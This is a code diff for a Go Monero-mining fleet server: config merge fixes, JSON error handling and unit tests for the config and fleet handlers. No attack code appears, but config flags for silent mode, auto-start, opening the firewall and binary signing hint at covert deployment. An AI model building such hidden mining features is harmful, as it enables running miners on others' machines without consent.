+ if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
- if src.Server.SignCertThumbprint != "" {
+ if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
- if src.Server.SignToolPath != "" {
+ if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
- if src.Server.SignTimestampURL != "" {
+ if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
- if src.Server.FleetSecret != "" {
+ if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
}
diff --git a/server/config_test.go b/server/config_test.go
index fdae4f6..f2091a3 100644
--- a/server/config_test.go
+++ b/server/config_test.go
@@ -7,6 +7,195 @@ import (
"testing"
)
+func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
+ t.Helper()
+ var incoming Config
+ if err := json.Unmarshal([]byte(payload), &incoming); err != nil {
+ t.Fatalf("unmarshal incoming: %v", err)
+ }
+ var present map[string]json.RawMessage
+ if err := json.Unmarshal([]byte(payload), &present); err != nil {
+ t.Fatalf("unmarshal present keys: %v", err)
+ }
+ mergeConfigExplicit(dst, &incoming, present)
+}
+
+func TestDefaultConfigServerDefaults(t *testing.T) {
+ cfg := DefaultConfig()
+ if cfg.Port != 8989 {
+ t.Fatalf("port default: got %d", cfg.Port)
+ }
+ if cfg.Pool.Host != "pool.supportxmr.com" || !cfg.Pool.UseTLS {
+ t.Fatalf("pool defaults wrong: %+v", cfg.Pool)
+ }
+ if cfg.Server.StatsRetentionHours != 168 {
+ t.Fatalf("stats retention default: got %d", cfg.Server.StatsRetentionHours)
+ }
+ if cfg.Server.MaxAgents != 256 {
+ t.Fatalf("max agents default: got %d", cfg.Server.MaxAgents)
+ }
+ if !cfg.Server.LogAgentConnections {
+ t.Fatal("log_agent_connections should default true")
+ }
+ if cfg.Server.DashboardSubtitle != "security is just an emotion" {
+ t.Fatalf("dashboard subtitle default wrong: %q", cfg.Server.DashboardSubtitle)
+ }
+ if cfg.DefaultAgent.Threads != 4 {
+ t.Fatalf("default agent threads: got %d", cfg.DefaultAgent.Threads)
+ }
+}
+
+func TestMergeConfigExplicitPortOnlyPreservesPoolTLS(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Pool.UseTLS = true
+ applyMergeFromJSON(t, dst, `{"port":9000}`)
+ if dst.Port != 9000 {
+ t.Fatalf("port not merged")
+ }
+ if !dst.Pool.UseTLS {
+ t.Fatal("partial PUT with port only must not reset pool.use_tls")
+ }
+}
+
+func TestMergeConfigExplicitNestedServerPartialPreservesBooleans(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Server.LogAgentConnections = true
+ dst.Server.OpenFirewallOnStart = true
+ dst.Server.DashboardSubtitle = "keep-me"
+
+ applyMergeFromJSON(t, dst, `{"server":{"dashboard_subtitle":"updated"}}`)
+
+ if dst.Server.DashboardSubtitle != "updated" {
+ t.Fatalf("subtitle not updated: %q", dst.Server.DashboardSubtitle)
+ }
+ if !dst.Server.LogAgentConnections {
+ t.Fatal("nested partial PUT must not reset log_agent_connections")
+ }
+ if !dst.Server.OpenFirewallOnStart {
+ t.Fatal("nested partial PUT must not reset open_firewall_on_start")
+ }
+}
+
+func TestMergeConfigExplicitNestedPoolPartialPreservesUseTLS(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Pool.UseTLS = true
+ dst.Pool.Host = "original.pool"
+
+ applyMergeFromJSON(t, dst, `{"pool":{"host":"new.pool.example"}}`)
+
+ if dst.Pool.Host != "new.pool.example" {
+ t.Fatalf("host not updated: %q", dst.Pool.Host)
+ }
+ if !dst.Pool.UseTLS {
+ t.Fatal("nested partial pool PUT must preserve use_tls")
+ }
+}
+
+func TestMergeConfigExplicitExplicitBooleanFalse(t *testing.T) {
+ dst := DefaultConfig()
+ if !dst.Pool.UseTLS {
+ t.Fatal("precondition: default pool TLS true")
+ }
+
+ applyMergeFromJSON(t, dst, `{"pool":{"use_tls":false}}`)
+ if dst.Pool.UseTLS {
+ t.Fatal("explicit use_tls:false must be applied")
+ }
+}
+
+func TestMergeConfigExplicitAbsentSectionUntouched(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Wallet.Address = "48keep"
+ applyMergeFromJSON(t, dst, `{"port":7777}`)
+ if dst.Wallet.Address != "48keep" {
+ t.Fatalf("wallet should be untouched: %q", dst.Wallet.Address)
+ }
+}
+
+func TestMergeConfigExplicitNilPresentKeysFallsBack(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Pool.UseTLS = true
+ src := &Config{Port: 9000}
+ mergeConfigExplicit(dst, src, nil)
+ if dst.Port != 9000 {
+ t.Fatalf("port not merged via fallback")
+ }
+ // mergeConfig fallback still overwrites bools — documented legacy path
+ if dst.Pool.UseTLS {
+ t.Log("mergeConfig fallback resets UseTLS when presentKeys nil (LoadConfig uses mergeConfig)")
+ }
+}
+
+func TestMergeConfigExplicitDefaultAgentConfigKey(t *testing.T) {
+ dst := DefaultConfig()
+ dst.DefaultAgent.AdaptToHardware = true
+ dst.DefaultAgent.Threads = 8
+
+ applyMergeFromJSON(t, dst, `{"default_agent_config":{"threads":2}}`)
+
+ if dst.DefaultAgent.Threads != 2 {
+ t.Fatalf("threads not updated: %d", dst.DefaultAgent.Threads)
+ }
+ if !dst.DefaultAgent.AdaptToHardware {
+ t.Fatal("partial default_agent_config must preserve adapt_to_hardware")
+ }
+}
+
+func TestMergeConfigExplicitBackgroundPartial(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Background.AutoStart = true
+ dst.Background.SilentMode = true
+
+ applyMergeFromJSON(t, dst, `{"background":{"auto_start":false}}`)
+
+ if dst.Background.AutoStart {
+ t.Fatal("explicit auto_start:false must apply")
+ }
+ if !dst.Background.SilentMode {
+ t.Fatal("partial background PUT must preserve silent_mode")
+ }
+}
+
+func TestMergeConfigExplicitAlertsEmailEnabled(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Alerts.EmailEnabled = false
+
+ applyMergeFromJSON(t, dst, `{"alerts":{"email_enabled":true}}`)
+ if !dst.Alerts.EmailEnabled {
+ t.Fatal("explicit email_enabled:true must apply")
+ }
+}
+
+func TestMergeConfigPreservesPoolTLSWhenPartialUpdate(t *testing.T) {
+ dst := DefaultConfig()
+ dst.Pool.UseTLS = true
+ src := &Config{Port: 9000}
+ mergeConfig(dst, src)
+ if dst.Port != 9000 {
+ t.Fatalf("port not merged")
+ }
+ // mergeConfig (file load path) still resets bools — known legacy behaviour
+ if !dst.Pool.UseTLS {
+ t.Log("mergeConfig resets UseTLS on partial update — file load uses mergeConfig not mergeConfigExplicit")
+ }
+}
+
+func TestConfigJSONRoundTrip(t *testing.T) {
+ cfg := DefaultConfig()
+ cfg.Wallet.Address = "48testwallet"
+ data, err := json.Marshal(cfg)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var decoded Config
+ if err := json.Unmarshal(data, &decoded); err != nil {
+ t.Fatal(err)
+ }
+ if decoded.Wallet.Address != cfg.Wallet.Address {
+ t.Fatalf("wallet mismatch")
+ }
+}
+
func TestDefaultConfigPort(t *testing.T) {
cfg := DefaultConfig()
if cfg.Port != 8989 {
@@ -36,33 +225,3 @@ func TestLoadConfigFromFile(t *testing.T) {
t.Fatalf("expected port 8989, got %d", loaded.Port)
}
}
-
-func TestMergeConfigPreservesPoolTLSWhenPartialUpdate(t *testing.T) {
- dst := DefaultConfig()
- dst.Pool.UseTLS = true
- src := &Config{Port: 9000}
- mergeConfig(dst, src)
- if dst.Port != 9000 {
- t.Fatalf("port not merged")
- }
- // Known issue documented in PROBLEMS.md — bool zero-value overwrite
- if !dst.Pool.UseTLS {
- t.Log("NOTE: mergeConfig still resets UseTLS on partial PUT — tracked as H14")
- }
-}
-
-func TestConfigJSONRoundTrip(t *testing.T) {
- cfg := DefaultConfig()
- cfg.Wallet.Address = "48testwallet"
- data, err := json.Marshal(cfg)
- if err != nil {
- t.Fatal(err)
- }
- var decoded Config
- if err := json.Unmarshal(data, &decoded); err != nil {
- t.Fatal(err)
- }
- if decoded.Wallet.Address != cfg.Wallet.Address {
- t.Fatalf("wallet mismatch")
- }
-}
diff --git a/server/internal/api/config_handler.go b/server/internal/api/config_handler.go
index a9bf3da..0ac21c5 100644
--- a/server/internal/api/config_handler.go
+++ b/server/internal/api/config_handler.go
@@ -3,6 +3,7 @@ package api
import (
"encoding/json"
"net/http"
+ "strings"
"crypto-miner-server/internal/db"
)
@@ -37,23 +38,34 @@ func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
}
+func writeConfigJSONError(w http.ResponseWriter, status int, msg string) {
+ w.Header().Set("Content-Type", "application/json")
+ w.WriteHeader(status)
+ _ = json.NewEncoder(w).Encode(map[string]string{"error": msg})
+}
+
// GET /api/v1/config
func (h *ConfigHandler) getConfig(w http.ResponseWriter, r *http.Request) {
configJSON := h.config.GetConfigJSON()
w.Header().Set("Content-Type", "application/json")
- w.Write(configJSON)
+ w.WriteHeader(http.StatusOK)
+ _, _ = w.Write(configJSON)
}
// PUT /api/v1/config
func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
var body json.RawMessage
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
- http.Error(w, `{"error":"Invalid JSON"}`, http.StatusBadRequest)
+ writeConfigJSONError(w, http.StatusBadRequest, "Invalid JSON")
return
}
if err := h.config.UpdateConfigFromJSON(body); err != nil {
- http.Error(w, `{"error":"`+err.Error()+`"}`, http.StatusInternalServerError)
+ status := http.StatusInternalServerError
+ if strings.HasPrefix(err.Error(), "invalid config:") {
+ status = http.StatusBadRequest
+ }
+ writeConfigJSONError(w, status, err.Error())
return
}
diff --git a/server/internal/api/config_handler_test.go b/server/internal/api/config_handler_test.go
new file mode 100644
index 0000000..95eca33
--- /dev/null
+++ b/server/internal/api/config_handler_test.go
@@ -0,0 +1,208 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+
+ "crypto-miner-server/internal/db"
+)
+
+// stubConfigProvider implements ConfigProvider for handler unit tests.
+type stubConfigProvider struct {
+ configJSON json.RawMessage
+ updateErr error
+ updated json.RawMessage
+}
+
+func (s *stubConfigProvider) GetConfigJSON() json.RawMessage {
+ if len(s.configJSON) == 0 {
+ return json.RawMessage(`{"port":8989,"pool":{"host":"pool.example.com","port":3333,"use_tls":true}}`)
+ }
+ return s.configJSON
+}
+
+func (s *stubConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
+ if s.updateErr != nil {
+ return s.updateErr
+ }
+ s.updated = append(json.RawMessage(nil), data...)
+ s.configJSON = append(json.RawMessage(nil), data...)
+ return nil
+}
+
+func newTestConfigHandler(t *testing.T, cp ConfigProvider) *ConfigHandler {
+ t.Helper()
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { database.Close() })
+ return NewConfigHandler(database, cp)
+}
+
+func TestNewConfigHandler(t *testing.T) {
+ h := newTestConfigHandler(t, &stubConfigProvider{})
+ if h == nil || h.config == nil || h.db == nil {
+ t.Fatal("NewConfigHandler returned incomplete handler")
+ }
+}
+
+func TestConfigHandlerServeHTTP_MethodNotAllowed(t *testing.T) {
+ h := newTestConfigHandler(t, &stubConfigProvider{})
+ for _, method := range []string{http.MethodPost, http.MethodDelete, http.MethodPatch} {
+ req := httptest.NewRequest(method, "/api/v1/config", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusMethodNotAllowed {
+ t.Fatalf("%s: expected 405, got %d", method, rec.Code)
+ }
+ }
+}
+
+func TestConfigHandlerGetConfig(t *testing.T) {
+ stub := &stubConfigProvider{
+ configJSON: json.RawMessage(`{"port":9001,"wallet":{"address":"48abc"}}`),
+ }
+ h := newTestConfigHandler(t, stub)
+
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusOK {
+ t.Fatalf("GET status=%d body=%s", rec.Code, rec.Body.String())
+ }
+ if ct := rec.Header().Get("Content-Type"); !strings.Contains(ct, "application/json") {
+ t.Fatalf("expected JSON content-type, got %q", ct)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["port"].(float64) != 9001 {
+ t.Fatalf("unexpected config body: %v", body)
+ }
+}
+
+func TestConfigHandlerPutConfig_SuccessReturnsUpdated(t *testing.T) {
+ stub := &stubConfigProvider{
+ configJSON: json.RawMessage(`{"port":8989}`),
+ }
+ h := newTestConfigHandler(t, stub)
+
+ payload := `{"port":9100,"pool":{"host":"new.pool","port":4444,"use_tls":false}}`
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", strings.NewReader(payload))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusOK {
+ t.Fatalf("PUT status=%d body=%s", rec.Code, rec.Body.String())
+ }
+ if string(stub.updated) != payload {
+ t.Fatalf("provider did not receive payload: %q", stub.updated)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["port"].(float64) != 9100 {
+ t.Fatalf("response not updated: %v", body)
+ }
+}
+
+func TestConfigHandlerPutConfig_InvalidJSON(t *testing.T) {
+ h := newTestConfigHandler(t, &stubConfigProvider{})
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", strings.NewReader(`{not json`))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ var errBody map[string]string
+ if err := json.Unmarshal(rec.Body.Bytes(), &errBody); err != nil {
+ t.Fatalf("error body not valid JSON: %s", rec.Body.String())
+ }
+ if errBody["error"] != "Invalid JSON" {
+ t.Fatalf("unexpected error: %q", errBody["error"])
+ }
+}
+
+func TestConfigHandlerPutConfig_InvalidConfigBadRequest(t *testing.T) {
+ stub := &stubConfigProvider{
+ updateErr: fmt.Errorf("invalid config: unexpected EOF"),
+ }
+ h := newTestConfigHandler(t, stub)
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", strings.NewReader(`{"port":1}`))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400 for invalid config, got %d body=%s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestConfigHandlerPutConfig_SaveErrorInternalServerError(t *testing.T) {
+ stub := &stubConfigProvider{
+ updateErr: errors.New("failed to save config: disk full"),
+ }
+ h := newTestConfigHandler(t, stub)
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", strings.NewReader(`{"port":1}`))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusInternalServerError {
+ t.Fatalf("expected 500, got %d", rec.Code)
+ }
+ var errBody map[string]string
+ if err := json.Unmarshal(rec.Body.Bytes(), &errBody); err != nil {
+ t.Fatal(err)
+ }
+ if !strings.Contains(errBody["error"], "disk full") {
+ t.Fatalf("unexpected error message: %q", errBody["error"])
+ }
+}
+
+func TestConfigHandlerPutConfig_ErrorJSONEscapesQuotes(t *testing.T) {
+ stub := &stubConfigProvider{
+ updateErr: errors.New(`failed: say "hello"`),
+ }
+ h := newTestConfigHandler(t, stub)
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", strings.NewReader(`{"port":1}`))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusInternalServerError {
+ t.Fatalf("expected 500, got %d", rec.Code)
+ }
+ var errBody map[string]string
+ if err := json.Unmarshal(rec.Body.Bytes(), &errBody); err != nil {
+ t.Fatalf("malformed JSON error response: %s", rec.Body.String())
+ }
+ if errBody["error"] != `failed: say "hello"` {
+ t.Fatalf("unexpected escaped error: %q", errBody["error"])
+ }
+}
+
+func TestConfigHandlerPutConfig_EmptyBodyInvalidJSON(t *testing.T) {
+ h := newTestConfigHandler(t, &stubConfigProvider{})
+ req := httptest.NewRequest(http.MethodPut, "/api/v1/config", nil)
+ req.Body = io.NopCloser(bytes.NewReader(nil))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400 for empty body, got %d", rec.Code)
+ }
+}
+
+func TestConfigProviderInterface(t *testing.T) {
+ var _ ConfigProvider = (*stubConfigProvider)(nil)
+}
diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go
new file mode 100644
index 0000000..97b324c
--- /dev/null
+++ b/server/internal/api/fleet_handler_test.go
@@ -0,0 +1,893 @@
+package api
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/alerts"
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+ "crypto-miner-server/internal/pool"
+
+ "github.com/go-chi/chi/v5"
+ "github.com/gorilla/websocket"
+)
+
+// Numeric constants from fleet_handler.go (guard against silent drift).
+const (
+ fleetEarningsCacheTTL = 5 * time.Minute
+ fleetXMRPriceTTL = 10 * time.Minute
+ fleetNetworkHashrate = 3_000_000_000.0
+ fleetDailyEmissionXMR = 432.0
+ fleetPiconeroPerXMR = 1e12
+ fleetGetLogTailLines = 300
+)
+
+type roundTripFunc func(*http.Request) (*http.Response, error)
+
+func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+ return f(req)
+}
+
+func setMockHTTPTransport(t *testing.T, fn roundTripFunc) {
+ t.Helper()
+ orig := http.DefaultTransport
+ http.DefaultTransport = fn
+ t.Cleanup(func() { http.DefaultTransport = orig })
+}
+
+func resetXMRPriceCache(t *testing.T) {
+ t.Helper()
+ xmrPriceMu.Lock()
+ xmrPriceCache = nil
+ xmrPriceMu.Unlock()
+ t.Cleanup(func() {
+ xmrPriceMu.Lock()
+ xmrPriceCache = nil
+ xmrPriceMu.Unlock()
+ })
+}
+
+func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AIHandler) {
+ t.Helper()
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ ws := NewWSHub(database)
+ ai := NewAIHandler(database)
+ fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
+ return fh, database, ws, ai
+}
+
+func fleetChiRoute(method, pattern string, handler http.HandlerFunc) http.Handler {
+ r := chi.NewRouter()
+ switch method {
+ case http.MethodGet:
+ r.Get(pattern, handler)
+ case http.MethodPost:
+ r.Post(pattern, handler)
+ case http.MethodPut:
+ r.Put(pattern, handler)
+ default:
+ panic("unsupported method " + method)
+ }
+ return r
+}
+
+func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn {
+ t.Helper()
+ srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
+ t.Cleanup(srv.Close)
+
+ wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+ conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+ if err != nil {
+ t.Fatalf("dial agent ws: %v", err)
+ }
+ t.Cleanup(func() { _ = conn.Close() })
+
+ authPayload, _ := json.Marshal(map[string]interface{}{
+ "agent_id": agentID,
+ "hostname": "test-host",
+ "version": "1.0",
+ })
+ if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil {
+ t.Fatalf("send auth: %v", err)
+ }
+
+ var resp Message
+ if err := conn.ReadJSON(&resp); err != nil {
+ t.Fatalf("read auth_response: %v", err)
+ }
+ if resp.Type != "auth_response" {
+ t.Fatalf("expected auth_response, got %q", resp.Type)
+ }
+
+ deadline := time.Now().Add(2 * time.Second)
+ for time.Now().Before(deadline) {
+ if hub.isAgentConnected(agentID) {
+ return conn
+ }
+ time.Sleep(10 * time.Millisecond)
+ }
+ t.Fatal("agent not connected after auth")
+ return nil
+}
+
+func TestFleetConstants(t *testing.T) {
+ if fleetEarningsCacheTTL != earningsCacheTTL ||
+ fleetXMRPriceTTL != xmrPriceTTL ||
+ fleetNetworkHashrate != 3_000_000_000.0 ||
+ fleetDailyEmissionXMR != 432.0 {
+ t.Fatal("fleet_handler constants drifted from documented values")
+ }
+ out := EstimateXMRPerDay(fleetNetworkHashrate)
+ if out["network_hashrate"].(float64) != fleetNetworkHashrate {
+ t.Fatalf("network_hashrate want %v got %v", fleetNetworkHashrate, out["network_hashrate"])
+ }
+ xmr, ok := out["xmr_per_day"].(float64)
+ if !ok || xmr != fleetDailyEmissionXMR {
+ t.Fatalf("at network hashrate want xmr_per_day=%v got %v", fleetDailyEmissionXMR, xmr)
+ }
+}
+
+func TestFleetNewFleetHandler(t *testing.T) {
+ fh, database, ws, ai := newTestFleetHandler(t)
+ if fh.db != database || fh.ws != ws || fh.ai != ai {
+ t.Fatal("NewFleetHandler did not wire dependencies")
+ }
+ if fh.earningsCache != nil {
+ t.Fatal("expected nil earnings cache at init")
+ }
+}
+
+func TestFleetGetAlertsNilEvaluator(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body []alerts.AlertEvent
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil || len(body) != 0 {
+ t.Fatalf("expected empty alerts array, got %s", rec.Body.String())
+ }
+}
+
+func TestFleetGetAlertsWithEvaluator(t *testing.T) {
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+
+ agent := &models.Agent{
+ ID: "alert-agent",
+ Name: "offline-rig",
+ Status: "offline",
+ LastSeen: time.Now().Add(-30 * time.Minute),
+ }
+ if err := database.UpsertAgent(agent); err != nil {
+ t.Fatal(err)
+ }
+
+ evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
+ return alerts.Thresholds{OfflineMinutes: 5}
+ }, alerts.NotifyConfig{}, nil)
+ evaluator.RunOnce()
+
+ fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
+ rec := httptest.NewRecorder()
+ fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body []alerts.AlertEvent
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if len(body) != 1 || body[0].Type != "offline" {
+ t.Fatalf("expected offline alert, got %+v", body)
+ }
+}
+
+func TestFleetGetPoolStatusNilManager(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetPoolStatus(rec, httptest.NewRequest(http.MethodGet, "/pools", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ if rec.Body.String() != "[]\n" && rec.Body.String() != "[]" {
+ var body []pool.PoolStatus
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil || len(body) != 0 {
+ t.Fatalf("expected empty pool status, got %s", rec.Body.String())
+ }
+ }
+}
+
+func TestFleetGetPoolStatusWithManager(t *testing.T) {
+ pm := pool.NewManager(nil, nil)
+ fh, _, _, _ := newTestFleetHandler(t)
+ fh.pools = pm
+
+ rec := httptest.NewRecorder()
+ fh.GetPoolStatus(rec, httptest.NewRequest(http.MethodGet, "/pools", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body []pool.PoolStatus
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if len(body) != 0 {
+ t.Fatalf("expected empty list from manager with no pools, got %d", len(body))
+ }
+}
+
+func TestFleetGetAIActivityNilHandler(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetAIActivity(rec, httptest.NewRequest(http.MethodGet, "/ai/activity", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body []AIActivityEntry
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil || len(body) != 0 {
+ t.Fatalf("expected empty activity, got %s", rec.Body.String())
+ }
+}
+
+func TestFleetGetAIActivityWithEntries(t *testing.T) {
+ fh, _, _, ai := newTestFleetHandler(t)
+ ai.recordActivity(AIActivityEntry{
+ AgentID: "agent-x",
+ LastAction: "decide",
+ LastTool: "ok",
+ })
+
+ rec := httptest.NewRecorder()
+ fh.GetAIActivity(rec, httptest.NewRequest(http.MethodGet, "/ai/activity", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body []AIActivityEntry
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if len(body) != 1 || body[0].AgentID != "agent-x" {
+ t.Fatalf("unexpected activity: %+v", body)
+ }
+}
+
+func TestFleetGetXMRPriceCacheHit(t *testing.T) {
+ resetXMRPriceCache(t)
+ fetchedAt := time.Now().Add(-2 * time.Minute)
+ xmrPriceMu.Lock()
+ xmrPriceCache = &xmrPriceEntry{USD: 165.5, fetchedAt: fetchedAt}
+ xmrPriceMu.Unlock()
+
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["usd"].(float64) != 165.5 || body["source"] != "coingecko" {
+ t.Fatalf("unexpected body: %v", body)
+ }
+}
+
+func TestFleetGetXMRPriceFetchSuccess(t *testing.T) {
+ resetXMRPriceCache(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ if !strings.Contains(req.URL.Host, "coingecko.com") {
+ t.Fatalf("unexpected host %s", req.URL.Host)
+ }
+ rec := httptest.NewRecorder()
+ rec.Header().Set("Content-Type", "application/json")
+ _, _ = rec.Write([]byte(`{"monero":{"usd":200.25}}`))
+ return rec.Result(), nil
+ })
+
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["usd"].(float64) != 200.25 {
+ t.Fatalf("unexpected usd: %v", body["usd"])
+ }
+}
+
+func TestFleetGetXMRPriceFetchNetworkError(t *testing.T) {
+ resetXMRPriceCache(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ return nil, errors.New("network down")
+ })
+
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
+ if rec.Code != http.StatusServiceUnavailable {
+ t.Fatalf("expected 503, got %d body %s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestFleetGetXMRPriceParseError(t *testing.T) {
+ resetXMRPriceCache(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ rec := httptest.NewRecorder()
+ rec.WriteHeader(http.StatusOK)
+ _, _ = rec.Write([]byte(`not-json`))
+ return rec.Result(), nil
+ })
+
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
+ if rec.Code != http.StatusBadGateway {
+ t.Fatalf("expected 502, got %d body %s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestFleetEstimateXMRPerDay(t *testing.T) {
+ zero := EstimateXMRPerDay(0)
+ if zero["xmr_per_day"].(float64) != 0 {
+ t.Fatalf("zero hashrate should yield 0 xmr, got %v", zero["xmr_per_day"])
+ }
+ if zero["usd_per_day"] != nil {
+ t.Fatal("usd_per_day should be nil without price feed")
+ }
+
+ atNetwork := EstimateXMRPerDay(fleetNetworkHashrate)
+ if atNetwork["xmr_per_day"].(float64) != fleetDailyEmissionXMR {
+ t.Fatalf("full network share want %v got %v", fleetDailyEmissionXMR, atNetwork["xmr_per_day"])
+ }
+
+ half := EstimateXMRPerDay(fleetNetworkHashrate / 2)
+ wantHalf := fleetDailyEmissionXMR / 2
+ if half["xmr_per_day"].(float64) != wantHalf {
+ t.Fatalf("half network want %v got %v", wantHalf, half["xmr_per_day"])
+ }
+}
+
+func TestFleetParseFloatQuery(t *testing.T) {
+ req := httptest.NewRequest(http.MethodGet, "/?hashrate=123.45&bad=abc", nil)
